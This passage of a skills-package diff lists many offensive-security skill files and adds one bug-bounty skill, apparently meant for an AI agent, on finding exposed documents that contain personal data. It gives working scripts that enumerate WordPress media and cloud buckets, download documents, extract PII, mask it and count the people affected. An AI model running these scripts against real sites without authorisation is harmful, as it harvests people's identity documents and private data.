  284. package/skills/offensive/airecon-fork/reconnaissance-asn-whois-osint/SKILL.md +236 -0
  285. package/skills/offensive/airecon-fork/reconnaissance-ctf-methodology/SKILL.md +435 -0
  286. package/skills/offensive/airecon-fork/reconnaissance-dorking/SKILL.md +182 -0
  287. package/skills/offensive/airecon-fork/reconnaissance-exposed-devtools-detection/SKILL.md +513 -0
  288. package/skills/offensive/airecon-fork/reconnaissance-full-recon/SKILL.md +305 -0
  289. package/skills/offensive/airecon-fork/reconnaissance-internal-pentest/SKILL.md +202 -0
  290. package/skills/offensive/airecon-fork/reconnaissance-javascript-analysis/SKILL.md +167 -0
  291. package/skills/offensive/airecon-fork/reconnaissance-js-internal-hostname-intelligence/SKILL.md +391 -0
  292. package/skills/offensive/airecon-fork/reconnaissance-monitoring-secrets-exposure/SKILL.md +394 -0
  293. package/skills/offensive/airecon-fork/reconnaissance-shodan-censys/SKILL.md +279 -0
  294. package/skills/offensive/airecon-fork/reconnaissance-subdomain-enum/SKILL.md +952 -0
  295. package/skills/offensive/airecon-fork/technologies-cicd-attacks/SKILL.md +283 -0
  296. package/skills/offensive/airecon-fork/technologies-cloud-security/SKILL.md +299 -0
  297. package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
  298. package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
  299. package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
  300. package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
  301. package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
  302. package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
  303. package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
  304. package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
  305. package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
  306. package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
  307. package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
  308. package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
  309. package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
  310. package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
  311. package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
  312. package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
  313. package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
  314. package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
  315. package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
  316. package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
  317. package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
  318. package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
  319. package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
  320. package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
  321. package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
  322. package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
  323. package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
  324. package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
  325. package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
  326. package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
  327. package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
  328. package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
  329. package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
  330. package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
  331. package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
  332. package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
  333. package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
  334. package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
  335. package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
  336. package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
  337. package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
  338. package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
  339. package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
  340. package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
  341. package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
  342. package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
  343. package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
  344. package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
  345. package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
  346. package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
  347. package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
  348. package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
  349. package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
  350. package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
  351. package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
  352. package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
  353. package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
  354. package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
  355. package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
  356. package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
  357. package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
  358. package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
  359. package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
  360. package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
  361. package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
  362. package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
  363. package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
  364. package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
  365. package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
  366. package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
  367. package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
  368. package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
  369. package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
  370. package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
  371. package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
  372. package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
  373. package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
  374. package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
  375. package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
  376. package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
  377. package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
  378. package/skills/offensive/matty-fork/cicd-redteam/SKILL.md +531 -0
  379. package/skills/offensive/matty-fork/cloud-security/SKILL.md +106 -0
  380. package/skills/offensive/matty-fork/container-escape/SKILL.md +174 -0
  381. package/skills/offensive/matty-fork/mobile-pentester/SKILL.md +357 -0
  382. package/skills/offensive/matty-fork/subdomain-takeover/SKILL.md +154 -0
  383. package/skills/osint/elementalsouls-fork/offensive-osint/README.md +92 -0
  384. package/skills/osint/elementalsouls-fork/offensive-osint/SKILL.md +4177 -0
  385. package/skills/osint/elementalsouls-fork/osint-methodology/README.md +66 -0
  386. package/skills/osint/elementalsouls-fork/osint-methodology/SKILL.md +1695 -0
@@ -0,0 +1,589 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: sensitive-file-pii-exposure
5
+ description: Detect and confirm publicly accessible sensitive documents (PDFs, DOCX, XLSX, images) containing PII via CMS REST APIs, cloud storage, directory listings, and misconfigured file servers — with PII extraction and country-specific ID pattern matching
6
+ ---
7
+
8
+ # Sensitive File & PII Exposure via Public Document Access
9
+
10
+ Sensitive document exposure is consistently one of the highest-impact, easiest-to-confirm bug bounty findings. The pattern is always the same:
11
+ 1. Application stores sensitive documents in a publicly reachable location
12
+ 2. An index/enumeration mechanism (CMS REST API, S3 listing, directory index) is also public
13
+ 3. Document filenames or content contain PII (names, national IDs, phone numbers, financial data)
14
+
15
+ This is classified as a HIGH/CRITICAL finding under OWASP API3 (Excessive Data Exposure) and triggers privacy regulation implications (GDPR, PDPA, CCPA, Indonesia PDP Law, etc.).
16
+
17
+ **Reasoning required:** This vulnerability class requires multi-step reasoning:
18
+ - Identify the enumeration vector (not just "file exists" — how to enumerate MANY files)
19
+ - Understand filename patterns that signal sensitive content
20
+ - Confirm content via sampling (download + extract + verify PII)
21
+ - Bound the scope (how many files, how many individuals affected)
22
+ - Assess regulatory context (which data protection law applies)
23
+
24
+ ---
25
+
26
+ ## STEP 1 — Identify Enumeration Vectors
27
+
28
+ The following surfaces expose file inventories unauthenticated:
29
+
30
+ ```bash
31
+ TARGET="https://TARGET"
32
+
33
+ # === 1. WordPress REST API Media ===
34
+ curl -sk "$TARGET/wp-json/wp/v2/media?per_page=100&page=1" \
35
+ -H "Accept: application/json" | python3 -m json.tool | head -50
36
+
37
+ # Filter by sensitive MIME types
38
+ for mime in "application/pdf" "application/vnd.openxmlformats-officedocument.wordprocessingml.document" "application/vnd.ms-excel" "image/jpeg"; do
39
+ count=$(curl -sk "$TARGET/wp-json/wp/v2/media?mime_type=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$mime'))")&per_page=1" \
40
+ -H "Accept: application/json" \
41
+ | python3 -c "import sys,json; d=json.load(sys.stdin); print(len(d) if isinstance(d,list) else 'err')" 2>/dev/null)
42
+ echo "$mime: $count results"
43
+ done
44
+
45
+ # === 2. S3/GCS/Azure Blob Public Bucket Listing ===
46
+ # S3 bucket listing (XML index)
47
+ curl -sk "https://<bucket>.s3.amazonaws.com/?list-type=2&prefix=uploads/&max-keys=100" \
48
+ | python3 -c "
49
+ import sys, xml.etree.ElementTree as ET
50
+ tree = ET.parse(sys.stdin)
51
+ ns = {'s3': 'http://s3.amazonaws.com/doc/2006-03-01/'}
52
+ for key in tree.findall('.//s3:Key', ns):
53
+ print(key.text)
54
+ "
55
+
56
+ # GCS public bucket
57
+ curl -sk "https://storage.googleapis.com/<bucket>?prefix=uploads/&maxResults=100" \
58
+ | python3 -c "
59
+ import sys, json
60
+ data = json.load(sys.stdin)
61
+ for item in data.get('items', []):
62
+ print(item.get('name'), item.get('mediaLink'))
63
+ "
64
+
65
+ # === 3. Directory Listing (Apache/Nginx autoindex) ===
66
+ # Check if /wp-content/uploads/ has directory listing
67
+ curl -sk "$TARGET/wp-content/uploads/" | grep -oP 'href="([^"]+\.(pdf|docx|xlsx|jpg|png))"' \
68
+ | tr -d '"' | sed 's/href=//' | head -30
69
+
70
+ # Recursive with wget
71
+ # wget -r -l2 --no-parent -A "*.pdf,*.docx" "$TARGET/uploads/" 2>/dev/null
72
+
73
+ # === 4. Direct Cloud Storage URL Pattern Testing ===
74
+ # After finding one file URL, guess the pattern
75
+ # Example: https://cdn.target.com/uploads/consent-form-UserName-12345678.pdf
76
+ # → Try: https://cdn.target.com/uploads/ (listing?)
77
+ # → Try: https://s3-region.amazonaws.com/bucket-name/?prefix=uploads/
78
+
79
+ # === 5. sitemap.xml / robots.txt Leaking File Paths ===
80
+ curl -sk "$TARGET/sitemap.xml" | grep -oP 'https?://[^<]+\.(pdf|docx|xlsx)' | head -20
81
+ curl -sk "$TARGET/robots.txt" | grep -iE 'disallow.*upload|disallow.*document|disallow.*media'
82
+ ```
83
+
84
+ ---
85
+
86
+ ## STEP 2 — WordPress REST API Full Media Enumeration
87
+
88
+ The `/wp-json/wp/v2/media` endpoint is the most reliable vector for WordPress targets:
89
+
90
+ ```python
91
+ # tools/wp_media_enum.py
92
+ """
93
+ Enumerate all media via WordPress REST API.
94
+ Collect: media_id, mime_type, source_url, filename, date_uploaded
95
+ Filter for: PDFs, DOCX, XLSX, and any file with a name that suggests PII.
96
+ """
97
+ import urllib.request, urllib.error, ssl, json, re
98
+ from urllib.parse import unquote
99
+
100
+ ctx = ssl.create_default_context()
101
+ ctx.check_hostname = False
102
+ ctx.verify_mode = ssl.CERT_NONE
103
+
104
+ TARGET = "TARGET_PLACEHOLDER" # Replace with actual target
105
+
106
+ # PII filename patterns (apply to ALL languages/countries)
107
+ PII_FILENAME_PATTERNS = [
108
+ # National ID / government ID patterns
109
+ r'\b\d{12,18}\b', # Indonesia NIK (16 digits), long ID numbers
110
+ r'\b[A-Z]{1,2}\d{6,9}\b', # Passport-style: A1234567
111
+ r'\b\d{3}-\d{2}-\d{4}\b', # US SSN format
112
+ r'\b\d{2}\.\d{2}\.\d{2}\.\d{6}\b', # Some EU ID formats
113
+
114
+ # Document type keywords in filename
115
+ r'(?i)(consent|ktp|nik|passport|id.card|identity|id.number)',
116
+ r'(?i)(personal.data|pii|private|confidential|sensitive)',
117
+ r'(?i)(form|agreement|contract|application)',
118
+
119
+ # Name + number patterns (e.g., "Consent Form - John Doe - 1234567890.pdf")
120
+ r'(?i)[a-z]+ [a-z]+ - \d{6,}',
121
+ r'(?i)\d{6,} - [a-z]+ [a-z]+',
122
+
123
+ # Medical / financial
124
+ r'(?i)(medical|health|insurance|payment|invoice|salary|bank.statement)',
125
+ r'(?i)(ssn|nric|ic.number|id.number|citizen)',
126
+ ]
127
+
128
+ SENSITIVE_MIME_TYPES = [
129
+ "application/pdf",
130
+ "application/msword",
131
+ "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
132
+ "application/vnd.ms-excel",
133
+ "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet",
134
+ "application/vnd.ms-powerpoint",
135
+ "text/csv",
136
+ ]
137
+
138
+ def is_pii_filename(filename):
139
+ """Check if filename suggests PII content"""
140
+ for pattern in PII_FILENAME_PATTERNS:
141
+ if re.search(pattern, filename):
142
+ return True
143
+ return False
144
+
145
+ def enumerate_media(base_url, mime_type=None, max_pages=10):
146
+ """Enumerate all media items from WordPress REST API"""
147
+ all_items = []
148
+ page = 1
149
+
150
+ while page <= max_pages:
151
+ params = f"per_page=100&page={page}&orderby=date&order=desc"
152
+ if mime_type:
153
+ import urllib.parse
154
+ params += f"&mime_type={urllib.parse.quote(mime_type)}"
155
+
156
+ url = f"{base_url}/wp-json/wp/v2/media?{params}"
157
+ req = urllib.request.Request(url, headers={
158
+ "User-Agent": "Mozilla/5.0",
159
+ "Accept": "application/json"
160
+ })
161
+ try:
162
+ with urllib.request.urlopen(req, timeout=15, context=ctx) as r:
163
+ items = json.loads(r.read())
164
+ if not items:
165
+ break
166
+ all_items.extend(items)
167
+
168
+ # Check X-WP-TotalPages header for total
169
+ total_pages = int(r.headers.get("X-WP-TotalPages", 1))
170
+ total_items = int(r.headers.get("X-WP-Total", 0))
171
+ print(f" Page {page}/{total_pages} — {len(all_items)}/{total_items} items")
172
+
173
+ if page >= total_pages:
174
+ break
175
+ page += 1
176
+ except urllib.error.HTTPError as e:
177
+ if e.code == 400:
178
+ break # No more pages
179
+ print(f"Error: {e.code} {e.read().decode()[:100]}")
180
+ break
181
+ except Exception as ex:
182
+ print(f"Error: {ex}")
183
+ break
184
+
185
+ return all_items
186
+
187
+ def analyze_media_items(items):
188
+ """Filter and analyze items for PII indicators"""
189
+ sensitive = []
190
+ for item in items:
191
+ src = item.get("source_url", "")
192
+ filename = unquote(src.split("/")[-1]) if src else ""
193
+ mime = item.get("mime_type", "")
194
+ media_id = item.get("id", "")
195
+
196
+ pii_flag = is_pii_filename(filename)
197
+ sensitive_mime = mime in SENSITIVE_MIME_TYPES
198
+
199
+ if pii_flag or sensitive_mime:
200
+ sensitive.append({
201
+ "id": media_id,
202
+ "filename": filename,
203
+ "mime": mime,
204
+ "url": src,
205
+ "pii_in_filename": pii_flag,
206
+ })
207
+ return sensitive
208
+
209
+ # Run enumeration
210
+ print(f"=== Enumerating WordPress media: {TARGET} ===")
211
+ print("\n[1] All PDFs...")
212
+ pdf_items = enumerate_media(TARGET, mime_type="application/pdf")
213
+ print(f"Total PDFs found: {len(pdf_items)}")
214
+
215
+ print("\n[2] All documents (DOCX/XLSX)...")
216
+ docx_items = enumerate_media(TARGET, mime_type="application/vnd.openxmlformats-officedocument.wordprocessingml.document")
217
+ print(f"Total DOCX found: {len(docx_items)}")
218
+
219
+ all_sensitive = analyze_media_items(pdf_items + docx_items)
220
+ print(f"\n=== Sensitive Candidates: {len(all_sensitive)} ===")
221
+ for item in all_sensitive[:20]:
222
+ print(f" [{'PII' if item['pii_in_filename'] else 'DOC'}] {item['filename']}")
223
+ print(f" URL: {item['url']}")
224
+ print(f" Media ID: {item['id']}")
225
+
226
+ # Save for step 3
227
+ with open("output/wp_sensitive_media.json", "w") as f:
228
+ json.dump(all_sensitive, f, indent=2)
229
+ print(f"\nSaved to output/wp_sensitive_media.json")
230
+ ```
231
+
232
+ ```bash
233
+ # Replace TARGET_PLACEHOLDER with actual target, then run:
234
+ sed -i 's|TARGET_PLACEHOLDER|https://TARGET|' tools/wp_media_enum.py
235
+ python3 tools/wp_media_enum.py | tee output/wp_media_enum.txt
236
+ ```
237
+
238
+ ---
239
+
240
+ ## STEP 3 — Confirm PII by Downloading and Extracting Document Content
241
+
242
+ ```python
243
+ # tools/confirm_pii_in_docs.py
244
+ """
245
+ Download a sample of flagged documents and extract text to confirm PII.
246
+ Uses pdftotext for PDFs, python-docx for DOCX, openpyxl for XLSX.
247
+ Masks sensitive values in output (report-safe).
248
+ """
249
+ import json, re, subprocess, tempfile, os, ssl, urllib.request, urllib.error
250
+
251
+ ctx = ssl.create_default_context()
252
+ ctx.check_hostname = False
253
+ ctx.verify_mode = ssl.CERT_NONE
254
+
255
+ # PII field labels (multilingual) — add more as needed
256
+ PII_FIELD_LABELS = {
257
+ # Indonesian
258
+ "nama_lengkap": r'[Nn]ama\s+[Ll]engkap[\s\S]{0,50}?(?:KTP|:)',
259
+ "nik": r'\bNIK\b[\s:]*',
260
+ "ktp": r'\bKTP\b[\s:]*',
261
+ "tanggal_lahir": r'(?i)tanggal\s+lahir[\s:]*',
262
+ "alamat": r'(?i)alamat[\s:]*',
263
+ "no_hp": r'(?i)(?:no\.?\s*hp|nomor\s+telepon|phone)[\s:]*',
264
+ # English
265
+ "full_name": r'(?i)(?:full\s+name|name\s+\(.*?\))[\s:]*',
266
+ "national_id": r'(?i)(?:national\s+id|id\s+number|identity\s+number)[\s:]*',
267
+ "date_of_birth": r'(?i)(?:date\s+of\s+birth|dob|born)[\s:]*',
268
+ "email": r'(?i)e-?mail\s*address[\s:]*',
269
+ "phone": r'(?i)(?:phone|mobile|contact\s+number)[\s:]*',
270
+ # Financial
271
+ "account_number": r'(?i)(?:account\s+number|bank\s+account|rekening)[\s:]*',
272
+ "card_number": r'(?i)(?:card\s+number|credit\s+card|debit\s+card)[\s:]*',
273
+ }
274
+
275
+ # PII value patterns for masking
276
+ MASK_PATTERNS = [
277
+ (r'\b(\d{4})\d{8,10}(\d{4})\b', r'\1…\2'), # 16-digit ID: show first 4 + last 4
278
+ (r'\b(\d{3})-\d{2}-(\d{4})\b', r'\1-xx-\2'), # US SSN
279
+ (r'\b([A-Za-z0-9._%+-]+)@([A-Za-z0-9.-]+\.[a-z]{2,})\b',
280
+ lambda m: m.group(1)[:2] + "***@" + m.group(2)), # Email
281
+ (r'\b(\+?\d{1,3}[\s-]?)(\d{3,4})[\s-]?\d{3,4}[\s-]?\d{4}\b',
282
+ r'\1\2-****'), # Phone
283
+ ]
284
+
285
+ def mask_pii(text):
286
+ """Apply PII masking for safe output/reporting"""
287
+ for pattern, replacement in MASK_PATTERNS:
288
+ if callable(replacement):
289
+ text = re.sub(pattern, replacement, text)
290
+ else:
291
+ text = re.sub(pattern, replacement, text)
292
+ return text
293
+
294
+ def extract_pdf_text(pdf_bytes):
295
+ """Extract text from PDF using pdftotext"""
296
+ with tempfile.NamedTemporaryFile(suffix='.pdf', delete=False) as f:
297
+ f.write(pdf_bytes)
298
+ tmp_path = f.name
299
+ try:
300
+ result = subprocess.run(
301
+ ['pdftotext', tmp_path, '-'],
302
+ capture_output=True, timeout=30
303
+ )
304
+ return result.stdout.decode('utf-8', 'ignore')
305
+ except FileNotFoundError:
306
+ # Fallback: try strings command
307
+ result = subprocess.run(['strings', tmp_path], capture_output=True)
308
+ return result.stdout.decode('utf-8', 'ignore')
309
+ finally:
310
+ os.unlink(tmp_path)
311
+
312
+ def extract_docx_text(docx_bytes):
313
+ """Extract text from DOCX"""
314
+ try:
315
+ import zipfile, io
316
+ with zipfile.ZipFile(io.BytesIO(docx_bytes)) as z:
317
+ with z.open('word/document.xml') as doc:
318
+ xml = doc.read().decode('utf-8', 'ignore')
319
+ # Strip XML tags
320
+ text = re.sub(r'<[^>]+>', ' ', xml)
321
+ return ' '.join(text.split())
322
+ except Exception as ex:
323
+ return f"Error: {ex}"
324
+
325
+ def confirm_pii_in_document(url, mime_type):
326
+ """Download document and confirm PII presence"""
327
+ result = {"url": url, "pii_found": [], "excerpt": ""}
328
+
329
+ # Encode URL properly
330
+ from urllib.parse import quote, unquote, urlparse
331
+ parsed = urlparse(url)
332
+ safe_path = '/'.join(quote(unquote(seg), safe='') for seg in parsed.path.split('/'))
333
+ safe_url = f"{parsed.scheme}://{parsed.netloc}{safe_path}"
334
+
335
+ try:
336
+ req = urllib.request.Request(safe_url, headers={"User-Agent": "Mozilla/5.0"})
337
+ with urllib.request.urlopen(req, timeout=30, context=ctx) as r:
338
+ doc_bytes = r.read()
339
+ except Exception as ex:
340
+ result["error"] = str(ex)
341
+ return result
342
+
343
+ # Extract text
344
+ if "pdf" in mime_type:
345
+ text = extract_pdf_text(doc_bytes)
346
+ elif "docx" in mime_type or "wordprocessing" in mime_type:
347
+ text = extract_docx_text(doc_bytes)
348
+ else:
349
+ text = doc_bytes.decode('utf-8', 'ignore')
350
+
351
+ # Check for PII field labels
352
+ for label, pattern in PII_FIELD_LABELS.items():
353
+ match = re.search(pattern, text)
354
+ if match:
355
+ # Get context around match (20 chars before, 40 chars after)
356
+ start = max(0, match.start() - 10)
357
+ end = min(len(text), match.end() + 50)
358
+ context = text[start:end].replace('\n', ' ').strip()
359
+ result["pii_found"].append({
360
+ "field": label,
361
+ "context": mask_pii(context)
362
+ })
363
+
364
+ # Generate masked excerpt
365
+ masked_text = mask_pii(text)
366
+ lines = [l.strip() for l in masked_text.splitlines() if l.strip()]
367
+ result["excerpt"] = "\n".join(lines[:15])
368
+ result["total_text_length"] = len(text)
369
+
370
+ return result
371
+
372
+ # Load candidates from step 2
373
+ with open("output/wp_sensitive_media.json") as f:
374
+ candidates = json.load(f)
375
+
376
+ print(f"=== Confirming PII in {min(5, len(candidates))} sample documents ===")
377
+ confirmed = []
378
+
379
+ for item in candidates[:5]: # Sample first 5
380
+ print(f"\nChecking: {item['filename']}")
381
+ result = confirm_pii_in_document(item['url'], item['mime'])
382
+
383
+ if result.get("pii_found"):
384
+ print(f" [PII CONFIRMED] Fields found: {[p['field'] for p in result['pii_found']]}")
385
+ for pii in result["pii_found"]:
386
+ print(f" {pii['field']}: {pii['context']}")
387
+ confirmed.append({**item, "pii_confirmed": True, "pii_fields": result["pii_found"]})
388
+ else:
389
+ print(f" [NO PII] Text length: {result.get('total_text_length', 0)}")
390
+ print(f" Excerpt: {result.get('excerpt', '')[:200]}")
391
+
392
+ print(f"\n=== CONFIRMED: {len(confirmed)}/{min(5, len(candidates))} documents contain PII ===")
393
+ with open("output/pii_confirmed.json", "w") as f:
394
+ json.dump(confirmed, f, indent=2)
395
+ ```
396
+
397
+ ```bash
398
+ python3 tools/confirm_pii_in_docs.py | tee output/pii_confirmation.txt
399
+ ```
400
+
401
+ ---
402
+
403
+ ## STEP 4 — Quantify Scope (Total Affected Individuals)
404
+
405
+ ```python
406
+ # tools/quantify_pii_scope.py
407
+ """
408
+ Estimate how many individuals are affected.
409
+ Strategy: count total documents, analyze filename uniqueness patterns,
410
+ estimate unique individuals from naming conventions.
411
+ """
412
+ import json, re
413
+ from urllib.parse import unquote
414
+
415
+ with open("output/wp_sensitive_media.json") as f:
416
+ items = json.load(f)
417
+
418
+ # Analyze filename patterns to estimate unique individuals
419
+ unique_id_patterns = set()
420
+ files_with_ids = 0
421
+
422
+ for item in items:
423
+ fn = item.get("filename", "")
424
+ ids = re.findall(r'\b\d{12,18}\b', fn)
425
+ if ids:
426
+ unique_id_patterns.update(ids)
427
+ files_with_ids += 1
428
+
429
+ print(f"Total sensitive documents: {len(items)}")
430
+ print(f"Documents with ID numbers in filename: {files_with_ids}")
431
+ print(f"Unique ID numbers found in filenames: {len(unique_id_patterns)}")
432
+ print(f"Estimated unique individuals affected: {len(unique_id_patterns)} (minimum)")
433
+ print(f"\nNote: If multiple documents per person exist, actual individuals = {files_with_ids}")
434
+
435
+ # Check total across all pages (from X-WP-Total header)
436
+ # This was saved during enumeration
437
+ print(f"\nImpact assessment:")
438
+ if len(items) > 0:
439
+ print(f" - At minimum {len(items)} sensitive documents publicly accessible")
440
+ print(f" - Enumerable via unauthenticated GET to /wp-json/wp/v2/media")
441
+ print(f" - All documents downloadable without authentication")
442
+ if unique_id_patterns:
443
+ print(f" - At least {len(unique_id_patterns)} individuals' national ID numbers exposed")
444
+ ```
445
+
446
+ ```bash
447
+ python3 tools/quantify_pii_scope.py
448
+ ```
449
+
450
+ ---
451
+
452
+ ## STEP 5 — Country-Specific PII Pattern Reference
453
+
454
+ Adjust detection patterns based on target's country:
455
+
456
+ ```python
457
+ # tools/pii_patterns_by_country.py
458
+
459
+ COUNTRY_PII_PATTERNS = {
460
+ "Indonesia": {
461
+ "NIK": r'\b\d{16}\b', # 16-digit National ID
462
+ "KK": r'\b\d{16}\b', # Family card number
463
+ "passport": r'\bA[0-9]{7}\b', # Indonesian passport
464
+ "phone": r'\+62[0-9]{9,11}|0[0-9]{9,11}',
465
+ "keywords": ["NIK", "KTP", "Kartu Tanda Penduduk", "Nama Lengkap (Sesuai KTP)",
466
+ "NPWP", "SIM", "Akta Lahir"],
467
+ "regulation": "UU PDP (Personal Data Protection Law) 2022",
468
+ "base_penalty": "IDR 5 billion per violation"
469
+ },
470
+ "Singapore": {
471
+ "NRIC": r'\b[STFGM]\d{7}[A-Z]\b', # Singaporean IC
472
+ "FIN": r'\b[FG]\d{7}[A-Z]\b',
473
+ "passport": r'\bE[0-9]{7}[A-Z]\b',
474
+ "keywords": ["NRIC", "FIN", "Identity Card No", "IC Number"],
475
+ "regulation": "PDPA 2012 (Personal Data Protection Act)",
476
+ "base_penalty": "SGD 1 million per violation"
477
+ },
478
+ "Malaysia": {
479
+ "MyKAD": r'\b\d{6}-\d{2}-\d{4}\b', # XXXXXX-YY-ZZZZ
480
+ "passport": r'\bA[0-9]{8}\b',
481
+ "keywords": ["No. Kad Pengenalan", "MyKAD", "IC Number"],
482
+ "regulation": "PDPA 2010 (Personal Data Protection Act)",
483
+ "base_penalty": "MYR 500,000"
484
+ },
485
+ "Philippines": {
486
+ "PhilSys": r'\b\d{4}-\d{4}-\d{4}\b', # Philippine System Number
487
+ "SSS": r'\b\d{2}-\d{7}-\d{1}\b',
488
+ "keywords": ["PSN", "PhilSys ID", "SSS Number", "TIN"],
489
+ "regulation": "Data Privacy Act 2012 (RA 10173)",
490
+ "base_penalty": "PHP 5 million per violation"
491
+ },
492
+ "India": {
493
+ "Aadhaar": r'\b[2-9]{1}[0-9]{11}\b', # 12-digit Aadhaar (starts 2-9)
494
+ "PAN": r'\b[A-Z]{5}[0-9]{4}[A-Z]{1}\b', # Permanent Account Number
495
+ "passport": r'\b[A-Z][1-9][0-9]{7}\b',
496
+ "keywords": ["Aadhaar", "PAN", "Passport No", "Voter ID"],
497
+ "regulation": "DPDP Act 2023 / IT Act",
498
+ "base_penalty": "INR 250 crore per violation"
499
+ },
500
+ "EU/EEA": {
501
+ "passport": r'\b[A-Z]{2}[0-9]{7}\b',
502
+ "keywords": ["Personalausweis", "Passport", "ID Card", "DNI", "CIF", "NIF"],
503
+ "regulation": "GDPR (Regulation 2016/679)",
504
+ "base_penalty": "4% of annual global revenue"
505
+ },
506
+ "USA": {
507
+ "SSN": r'\b\d{3}-\d{2}-\d{4}\b',
508
